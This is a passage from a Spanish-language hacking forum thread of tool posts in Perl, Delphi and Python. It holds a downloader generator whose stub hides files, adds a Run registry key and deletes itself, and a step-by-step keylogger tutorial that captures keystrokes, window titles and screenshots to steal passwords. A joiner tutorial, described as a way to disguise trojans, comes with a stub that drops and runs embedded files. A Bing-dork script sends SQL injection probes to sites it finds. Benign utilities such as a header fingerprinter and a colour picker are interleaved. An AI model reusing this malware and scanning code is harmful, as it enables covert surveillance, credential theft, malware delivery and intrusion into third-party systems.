        hideit( basename($link),                                     "hide" );
        hideit( $op_en_este_dirx,                                    "hide" );
        hideit( $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex, "hide" );

    }

    # REG ADD

    if ( $op_agregar_al_registro eq 1 ) {

        if ( $op_bajar_con_este_nombre eq 1 ) {

            if ( $op_en_este_dir eq 1 ) {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = $op_en_este_dirx
                  . "/"
                  . $op_bajar_con_este_nombrex;
            }
            else {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = getcwd()
                  . "/"
                  . $op_bajar_con_este_nombrex;
            }

        }
        else {

            if ( $op_en_este_dir eq 1 ) {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = $op_en_este_dirx
                  . "/"
                  . basename($link);
            }
            else {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = getcwd()
                  . "/"
                  . basename($link);
            }
        }

    }

    ## Boom !

    if ( $op_chau eq 1 ) {

        unlink($0);

    }

    ##

    sub hideit {
        if ( $_[1] eq "show" ) {
            Win32::File::SetAttributes( $_[0], NORMAL );
        }
        elsif ( $_[1] eq "hide" ) {
       winkey     Win32::File::SetAttributes( $_[0], HIDDEN );
        }
    }

    sub download {
        if ( $nave->mirror( $_[0], $_[1] ) ) {
            if ( -f $_[1] ) {
                return true;
            }
        }
    }

    # The End ?);

        my $link     = $link->get;
        my $new_file = $save_file_with_name->get;
        my $new_dir  = $save_file_in_this_dir->get;

        $code_now =~ s/ACA_VA_TU_LINK/$link/;

        if ( $op_save_file_name eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_NOMBRE/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_NOMBRE/0/;
        }

        $code_now =~ s/ACA_VA_TU_OP_NOMBREX/$new_file/;

        if ( $op_save_in_dir eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_DIR/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_DIR/0/;
        }

        $code_now =~ s/ACA_VA_TU_OP_DIRX/$new_dir/;

        if ( $op_hide eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_HIDE/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_HIDE/0/;
        }

        if ( $op_regedit eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_REG/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_REG/0/;
        }

        if ( $op_chau eq 1 ) {
            $code_now =~ s/ACA_VA_TU_CHAU/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_CHAU/0/;
        }

        if ( -f gen_download . pl ) {
            unlink("gen_download.pl");
        }

        open( FILE, ">>gen_download.pl" );
        print FILE $code_now;
        close FILE;

        $ven->Dialog(
            -title            => "Oh Yeah",
            -buttons          => ["OK"],
            -text             => "Enjoy this downloader",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();

    }

    #The End ?
#169
Perl / [Perl Tk] HTTP FingerPrinting 0.1
Septiembre 13, 2013, 07:36:50 PM
Un simple script en Perl para HTTP FingerPrinting o por lo menos lo intenta xDD.

El codigo :

Código: perl

#!usr/bin/perl
#HTTP FingerPrinting 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

print "\n-- == HTTP FingerPrinting 0.1 == --\n";

unless ( $ARGV[0] ) {

    print "\n[+] Sintax : $0 <page> < -fast / -full >\n";

}
else {

    print "\n[+] Getting Data ...\n";

    my $code = $nave->get( $ARGV[0] );

    print "\n----------------------------------------------\n";

    if ( $ARGV[1] eq "-full" ) {

        print $code->headers()->as_string();

    }
    else {

        print "\n[+] Date : " . $code->header('date');
        print "\n[+] Server : " . $code->header('server');
        print "\n[+] Connection : " . $code->header('connection');
        print "\n[+] Content-Type : " . $code->header('content-type');

    }

    print "\n----------------------------------------------\n";

}

print "\n[+] Coded By Doddy H\n";

#The End ?


Tambien hice una version grafica :

Una imagen :



El codigo :

Código: perl

#!usr/bin/perl
#HTTP FingerPrinting 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use LWP::UserAgent;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

my $background_color = "black";
my $foreground_color = "green";

my $ven = MainWindow->new(
    -background => $background_color,
    -foreground => $foreground_color
);
$ven->title("HTTP FingerPrinting 0.1 (C) Doddy Hackman 2013");
$ven->geometry("430x340+20+20");
$ven->resizable( 0, 0 );

$ven->Label(
    -background => $background_color,
    -foreground => $foreground_color,
    -text       => "Target : ",
    -font       => "Impact"
)->place( -x => 20, -y => 20 );
my $target = $ven->Entry(
    -background => $background_color,
    -foreground => $foreground_color,
    -width      => 30,
    -text       => "http://www.petardas.com"
)->place( -x => 80, -y => 25 );
$ven->Button(
    -command          => \&fast,
    -activebackground => $foreground_color,
    -background       => $background_color,
    -foreground       => $foreground_color,
    -text             => "Fast",
    -width            => 10
)->place( -x => 270, -y => 25 );
$ven->Button(
    -command          => \&full,
    -activebackground => $foreground_color,
    -background       => $background_color,
    -foreground       => $foreground_color,
    -text             => "Full",
    -width            => 10
)->place( -x => 345, -y => 25 );
$ven->Label(
    -background => $background_color,
    -foreground => $foreground_color,
    -text       => "OutPut",
    -font       => "Impact"
)->place( -x => 175, -y => 70 );
my $output = $ven->Text(
    -background => $background_color,
    -foreground => $foreground_color,
    -width      => 55,
    -heigh      => 15
)->place( -x => 18, -y => 100 );

MainLoop;

sub fast {

    $output->delete( "0.1", "end" );

    my $code = $nave->get( $target->get );

    $output->insert( "end", "[+] Date : " . $code->header('date') );
    $output->insert( "end", "\n[+] Server : " . $code->header('server') );
    $output->insert( "end",
        "\n[+] Connection : " . $code->header('connection') );
    $output->insert( "end",
        "\n[+] Content-Type : " . $code->header('content-type') );

}

sub full {

    $output->delete( "0.1", "end" );

    my $code = $nave->get( $target->get );

    $output->insert( "end", $code->headers()->as_string() );

}

#The End ?
#170
Delphi / [Delphi] Creacion de un Keylogger
Septiembre 09, 2013, 01:21:19 PM
[Titulo] : Creacion de un Keylogger
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Capturar teclas
0x03 : Capturar ventanas
0x04 : Capturar pantalla
0x05 : Testeando

-- =================--------


0x01 : Introduccion

Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la version 2010 de delphi.

Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras palabras , se usa para capturar contraseñas.

En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi.

0x02 : Capturar teclas

Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez hecho agregamos un memo y tres timers al formulario como en la imagen :



Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo.

Código: delphi

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer; // Declaramos la variable i como entero
  re: Longint; // Declaramos la variable re como longint
  mayus: integer; // Declaramos la variable mayus como entero

begin

  if (GetKeyState(20) = 0) then // Si se presiona mayus
  begin
    mayus := 32; // Le ponemos el valor de 32 a la variable mayus
  end
  else
  begin
    mayus := 0; // Le ponemos el valor de 0 la variable mayus
  end;

  for i := 65 to 90 do // Un for para detectar las teclas de la A hasta la Z
  begin

    re := GetAsyncKeyState(i); // Usamos la variable re para detectar si la tecla fue usada
    If re = -32767 then // Contolamos que la variable re sea igual a -32767
    Begin

      Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo usando chr en la suma de la letra
      // Mas la variabe mayus
    End;
  end;

end;


Una imagen con todo el codigo comentado :



Con esto ya tenemos para capturar las teclas.

0x03 : Capturar ventanas

Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se encuentra al inicio del codigo lo siguiente :

Código: delphi

private Nombre2: string;


Con este declaramos el nombre de la ventana que es nombre2 como privado.

Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo :

Código: delphi

procedure TForm1.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array of char
  nombre1: string; // Declaramos nombre1 como string

  // Add :
  // private
  // Nombre2: string;

begin

  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  // Capturamos el nombre de la
  // ventana

  nombre1 := ventana1; // nombre1 tendra el valor de ventana1

  if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........
  begin
    nombre2 := nombre1; // nombre2 tendra el valor de nombre1
    Memo1.Lines.Add(nombre2); // agregamos al memo el valor de nombre2
  end;
end;


Una imagen con el codigo comentado :



Eso seria la parte de capturar ventanas.

0x04 : Capturar pantalla

Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa llamado "DH ScreenShoter" que hice en este mismo lenguaje.

Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo.

Ahora hacemos doble click en el tercer timer y agregamos este codigo :

Código: delphi

procedure TForm1.Timer3Timer(Sender: TObject);
var
  foto1: TBitmap; // Declaramos foto1 como TBitmap;
  foto2: TJpegImage; // Declaramos foto2 como TJpegImage
  ventana: HDC; // Declaramos aca como HDC

begin

  // Agregar "Jpeg" a "uses"

  ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana actual en aca

  foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap
  foto1.PixelFormat := pf24bit; // Establecemos el pixel format
  foto1.Height := Screen.Height; // Capturamos el tamaño
  foto1.Width := Screen.Width; // Capturamos el tamaño

  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
    SRCCOPY); // Tomamos la foto con los datos antes usados

  foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage
  foto2.Assign(foto1); // Asignamos foto1 en foto2
  foto2.CompressionQuality := 60; // Establecemos la calidad de la imagen

  foto2.SaveToFile(IntToStr(Random(100)) + '.jpg');
  // Guardamos la foto tomada
  // con un valor numerico
  // aleatorio mas el formato
  // '.jpg'

end;


Una imagen con el codigo comentado :



Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para que el timer funcione cada 5 segundos.

Con esto ya terminamos la parte de capturar las imagenes.

Ahora vamos a probar todo.

0x05 : Testeando

Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la configuracion de los timers.

Bien ahora voy a mostrarles una imagen de ejemplo :



Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo"
Tambien cada 5 segundos sacaba una foto como esta :



Eso seria todo.

El manual esta disponible en PDF You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

--========--
  The End ?
--========--

#171
Delphi / [Delphi] DH ScreenShoter 0.1
Septiembre 06, 2013, 01:58:27 PM
Un simple programa para sacar un screenshot y subir la imagen a imageshack.

Una imagen :



El codigo :

Código: delphi

// DH Screenshoter 0.1
// Coded By Doddy H
// Credits
// Based on : http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, ComCtrls, sStatusBar, sLabel,
  sCheckBox, sEdit, sButton, acPNG, ExtCtrls, Jpeg, ShellApi,
  IdMultipartFormData,
  PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sStatusBar1: TsStatusBar;
    sCheckBox1: TsCheckBox;
    sEdit1: TsEdit;
    sCheckBox2: TsCheckBox;
    sEdit2: TsEdit;
    sLabel1: TsLabel;
    sCheckBox3: TsCheckBox;
    sGroupBox2: TsGroupBox;
    sEdit3: TsEdit;
    sGroupBox3: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sCheckBox4: TsCheckBox;
    Image1: TImage;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;

begin

  aca := GetWindowDC(GetDesktopWindow);

  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;

  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cold';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/captures';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  fecha: TDateTime;
  fechafinal: string;
  nombrefecha: string;
  i: integer;
  datos: TIdMultiPartFormDataStream;
  code: string;

begin

  fecha := now();
  fechafinal := DateTimeToStr(fecha);
  nombrefecha := fechafinal + '.jpg';

  nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll,
    rfIgnoreCase]);
  nombrefecha := StringReplace
    (nombrefecha, ' ', '', [rfReplaceAll, rfIgnoreCase]);
  nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll,
    rfIgnoreCase]);

  if (sCheckBox2.Checked) then
  begin
    for i := 1 to StrToInt(sEdit2.text) do
    begin
      sStatusBar1.Panels[0].text := '[+] Taking picture on  : ' + IntToStr(i)
        + ' seconds ';
      Form1.sStatusBar1.Update;
      Sleep(i * 1000);
    end;
  end;

  Form1.Hide;

  Sleep(1000);

  if (sCheckBox1.Checked) then
  begin
    capturar(sEdit1.text);
  end
  else
  begin
    capturar(nombrefecha);
  end;

  Form1.Show;

  sStatusBar1.Panels[0].text := '[+] Photo taken';
  Form1.sStatusBar1.Update;

  if (sCheckBox3.Checked) then
  begin

    sStatusBar1.Panels[0].text := '[+] Uploading ...';
    Form1.sStatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', 'Fuck You');

    if (sCheckBox1.Checked) then
    begin
      datos.AddFile('fileupload', sEdit1.text, 'application/octet-stream');
    end
    else
    begin
      datos.AddFile('fileupload', nombrefecha, 'application/octet-stream');
    end;
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    PerlRegEx1.Regex := '"image_link":"(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sEdit3.text := PerlRegEx1.SubExpressions[1];
      sStatusBar1.Panels[0].text := '[+] Done';
      Form1.sStatusBar1.Update;
    end
    else
    begin
      sStatusBar1.Panels[0].text := '[-] Error uploading';
      Form1.sStatusBar1.Update;
    end;
  end;

  if (sCheckBox4.Checked) then
  begin
    if (sCheckBox1.Checked) then
    begin
      ShellExecute(Handle, 'open', Pchar(sEdit1.text), nil, nil, SW_SHOWNORMAL);
    end
    else
    begin
      ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL);
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  sEdit3.SelectAll;
  sEdit3.CopyToClipboard;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?



Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#172
Python / [Python-Android] BingHack Tool 0.1
Septiembre 01, 2013, 04:19:36 PM
Un simple script en Python para Android con el fin de buscar paginas vulnerables a SQLI usando Bing.


El codigo :

Código: python

#!usr/bin/python
#BingHack Tool 0.1
#Android Version
#(C) Doddy Hackman 2013

import android,urllib2,re

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def sql(webs):
respuesta = ""
for web in webs :
  if re.findall("=",web):
   web = re.split("=",web)
   web = web[0]+"="

   try:
    code = toma(web+"-1+union+select+1--")
    if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
     respuesta = respuesta + "[SQLI] : "+web+"\n"
   except:
    pass
return respuesta

def limpiar(pag):

limpia = []
for p in pag:
  if p not in limpia:
   limpia.append(p)
return limpia

def buscar(dork,count):

respuesta = ""

pag = []
s = 10 

while s <= int(count):
  try:
   code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
   d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
   s += 10
   for a in d:
    pag.append(a)
  except:
   pass

pag = limpiar(pag)

return pag
 
aplicacion = android.Android()

def menu():

aplicacion.dialogCreateAlert("BingHack Tool 0.1")
aplicacion.dialogSetItems(["Search","About","Exit"])
aplicacion.dialogShow()
re = aplicacion.dialogGetResponse().result
re2 = re["item"]

if re2==0:
 
  red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the dork")
  dork = str(red[1])

  red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the number of pages to search")
  paginas = str(red[1])

  aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Searching ...")
  aplicacion.dialogShow()

  founds = ""
  rez = ""
  rtafinal = ""

  founds = buscar(dork,paginas)

  aplicacion.dialogDismiss()

  aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Scanning ...")
  aplicacion.dialogShow()

  rez = sql(founds)

  if len(rez) == 0 :
   rtafinal = "[-] Not Found"
  else :
   rtafinal = "[++] Pages Founds\n\n"
   rtafinal = rtafinal + rez
   rtafinal = rtafinal + "\n[++] Finished\n"

  aplicacion.dialogDismiss()

  aplicacion.dialogCreateAlert("BingHack Tool 0.1",rtafinal)
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
 
  op = aplicacion.dialogGetResponse().result
  if op["which"] == "positive" :
   menu()

if re2==1 :
  aplicacion.dialogCreateAlert("BingHack Tool 0.1","(C) Doddy Hackman 2013")
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
  re3 = aplicacion.dialogGetResponse().result
  if re3["which"] == "positive" :
   menu()
 
  if re3==2:
   aplicacion.exit()

menu()

# The End ?


Eso es todo.
#173
Delphi / [Delphi] DH Icon Changer 0.1
Agosto 30, 2013, 03:31:09 PM
Un simple programa para cambiar el icono de otro programa.

Una imagen :



El codigo :

Código: delphi

// DH Icon Changer 0.1
// Coded By Doddy H
// Based on IconChanger By Chokstyle
// Thanks to Chokstyle

unit icon;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sEdit, sGroupBox, sSkinManager, ComCtrls,
  sStatusBar, ExtCtrls, madRes, jpeg, sCheckBox;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sStatusBar1: TsStatusBar;
    OpenDialog1: TOpenDialog;
    sGroupBox4: TsGroupBox;
    Image1: TImage;
    sButton5: TsButton;
    OpenDialog2: TOpenDialog;
    Image2: TImage;
    sEdit2: TsEdit;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

    procedure sButton4Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'ICO|*.ico|';

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    sEdit1.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  op: string;
  change: dword;
  valor: string;

begin

  valor := IntToStr(128);

  op := InputBox('Backup', 'Backup ?', 'Yes');

  if op = 'Yes' then
  begin
    CopyFile(PChar(sEdit1.Text), PChar(ExtractFilePath(Application.ExeName)
          + 'backup' + ExtractFileExt(sEdit1.Text)), True);
  end;

  try
    begin
      change := BeginUpdateResourceW(PWideChar(wideString(sEdit1.Text)), false);
      LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar
          (wideString(sEdit2.Text)));
      EndUpdateResourceW(change, false);
      sStatusBar1.Panels[0].Text := '[+] Changed !';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;

    end;
  end;

end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.sButton5Click(Sender: TObject);
begin

  if OpenDialog2.Execute then
  begin
    Image1.Picture.LoadFromFile(OpenDialog2.FileName);
    sEdit2.Text := OpenDialog2.FileName;
  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Credits : Based on IconChanger By Chokstyle' + #13#10 + #13#10 +
      'Contact to lepuke[at]hotmail[com]');
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#174
Delphi / [Delphi] Creacion de un Joiner
Agosto 28, 2013, 08:16:02 PM
[Titulo] : Creacion de un Joiner
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.

¿ Que es un Joiner ?

Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.

¿ Que es un stub ?

El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.

0x02 : Creacion del generador

Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez creado , creamos dos cajas edit y un boton como en la imagen :



Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.

Código: delphi

procedure TForm1.Button1Click(Sender: TObject);

var
  archivo1: string; // Declaramos la variable archivo1 como string
  archivo2: string; // Declaramos la variable archivo2 como string
  uno: DWORD; // Declaramos la variable uno como dword
  tam: DWORD; // Declaramos la variable tam como dword
  dos: DWORD; // Declaramos la variable dos como dword
  tres: DWORD; // Declaramos la variable tres como dword
  todo: Pointer; // Declaramos la variable todo como pointer

begin

  uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe

  archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo

  dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  GetMem(todo, tam); // Capturamos la memoria
  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  CloseHandle(dos); // Cerramos el archivo
  UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto

  archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo

  dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  GetMem(todo, tam); // Capturamos la memoria
  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  CloseHandle(dos); // Cerramos el archivo
  UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto

  EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso

end;


Una imagen del codigo comentado.



0x03 : Creacion del stub

Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :



Una vez hecho copiamos el siguiente codigo :

Código: delphi

program stub;

uses Windows, ShellApi; // Cargamos los modulos necesarios

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
  stdcall; // Empieza la funcion con los parametros
var
  data: DWORD; // Declaramos como DWORD la variable data
  uno: DWORD; // Declaramos como DWORD la variable uno
  dos: DWORD; // Declaramos como DWORD la variable dos

begin

  Result := True; // Retornamos true en la funcion

  data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos

  uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
    dos, nil); // Escribimos en el archivo creado

  CloseHandle(uno); // Cerramos

  ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
  // Ejecutamos el archivo

end;

begin
  EnumResourceNames(0, RT_RCDATA, @start, 0);

  // Funcion para cargar los archivos del joiner
end.



Una imagen del codigo comentado.



0x04 : Probando el Joiner

Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"

Primero cargamos el generador :



Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.



Eso es todo.

El manual esta disponible en PDF You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

--========--
  The End ?
--========--
#175
Delphi / [Delphi] DH GetColor
Agosto 23, 2013, 01:44:46 PM
Un simple programa para buscar el color de un pixel.

Una imagen :



El codigo :

Código: delphi

// DH GetColor 0.1
// Coded By Doddy H
// Credits :
// Based on  : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way
// Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor

unit get;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, sSkinManager, sGroupBox, sEdit, sLabel, ComCtrls,
  sStatusBar, acPNG, sMemo, Clipbrd;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    Shape1: TShape;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sStatusBar1: TsStatusBar;
    sGroupBox2: TsGroupBox;
    Image1: TImage;
    sLabel3: TsLabel;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);

  private
    capturanow: HDC;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cold';
  sSkinManager1.Active := True;

  sLabel3.Caption := 'This program is used to' + #13 +
    'find the color of a pixel' + #13 + #13 + 'Use control + v to copy' + #13 +
    'the color to the clipboard' + #13 + #13 + #13 + 'The End ?';

  capturanow := GetDC(0);
  if (capturanow <> 0) then
    Timer1.Enabled := True;
end;

procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
  if (Shift = [ssCtrl]) and (Key = 86) then
  begin
    Clipboard().AsText := sLabel2.Caption;
